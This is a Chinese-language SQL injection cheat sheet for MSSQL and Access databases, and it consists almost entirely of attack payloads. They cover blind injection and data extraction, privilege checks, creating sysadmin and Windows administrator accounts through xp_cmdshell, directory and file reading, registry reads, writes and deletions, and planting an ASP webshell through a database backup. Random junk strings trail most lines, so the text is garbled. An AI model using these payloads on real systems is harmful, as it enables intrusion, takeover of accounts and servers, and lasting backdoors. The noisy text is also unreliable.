1.判断是否有注入;and 1=1 ;and 1=2 -*sDa6L
2.初步判断是否是mssql ;and user>0 fjUyx:
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3.注入参数是字符'and [查询条件] and ''=' A| #9
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' RZ!-,|"cwL
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5.判断数据库系统 (Ck|RojC
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;and (select count(*) from sysobjects)>0 mssql /-wAy-W
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;and (select count(*) from msysobjects)>0 access JkazB1h
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 aClXg-
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 VRYj&s'@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 sXm/+I^
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9.(1)猜字段的ascii值(access) G"bItdb
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 QvK-3w;=
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(2)猜字段的ascii值(mssql) yz}Agc4.I
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 (gQ^jmZPG
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10.测试权限结构(mssql) c|[:vin
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ~3Y)o|D3
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 66x>*
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- T|NNd1>
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- r5XG$:$8\
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- )6#dxb9
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ~ y%8uHL:
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;and 1=(select IS_MEMBER('db_owner'));-- "q(#,,_
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11.添加mssql和系统的帐户 7a Fvj
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;exec master.dbo.sp_addlogin username;-- 0 !yvcviw
;exec master.dbo.sp_password null,username,password;-- XJ~_FiB
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 'f9fw^
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;exec master.dbo.xp_cmdshell 'net user username password ;aKdRhDo
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- p#W[he
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- & IVwm"
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- TN}YRXtW+
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12.(1)遍历目录 [$_d|Z
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;create table dirs(paths varchar(100), id int) mw9;LNi\D
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;insert dirs exec master.dbo.xp_dirtree 'c:\' J&w%lYiu5
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;and (select top 1 paths from dirs)>0 :1"{0gm
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) gNJ,Bj Pd
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(2)遍历目录 $F-qqkR$
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- <Y9vc:S
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 w4U]lg<}E
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 YRF%].A%2
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 s0"S;{_#
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 K*Y.mM)
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13.mssql中的存储过程 [OBj2=
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xp_regenumvalues 注册表根键, 子键 } 5i0R
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ZzPlIl}\
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xp_regread 根键,子键,键值名 Mw2?U>h1
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;exec xp_regread ;u!qu$O
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;:Q 5?zM
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xp_regwrite 根键,子键, 值名, 值类型, 值 I#QBJ#
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _hyboQi
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xp_regdeletevalue 根键,子键,值名 ZKTOif}
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n5dFp%k
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 @mBZu!,
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14.mssql的backup创建webshell <CIJg*
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use model s@sRdoTdF
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create table cmd(str image); IBWUXG;
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insert into cmd(str) values (''); ^Ts|/+}'i
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backup database model to disk='c:\l.asp'; $A\fm`
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15.mssql内置函数 6j{9\
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;and (select @@version)>0 获得Windows的版本号 {vh}f+2
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ScU?T<u:i
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;and (select user_name())>0 爆当前系统的连接用户 ?{l}35Q.@
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;and (select db_name())>0 得到当前连接的数据库 :GXiA
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16.简洁的webshell a5jc8S>
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use model D+?/MrP
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create table cmd(str image); -L@4da[]i
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insert into cmd(str) values (''); NfizX!w&
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backup database model to disk='g:\wwwtest\l.asp';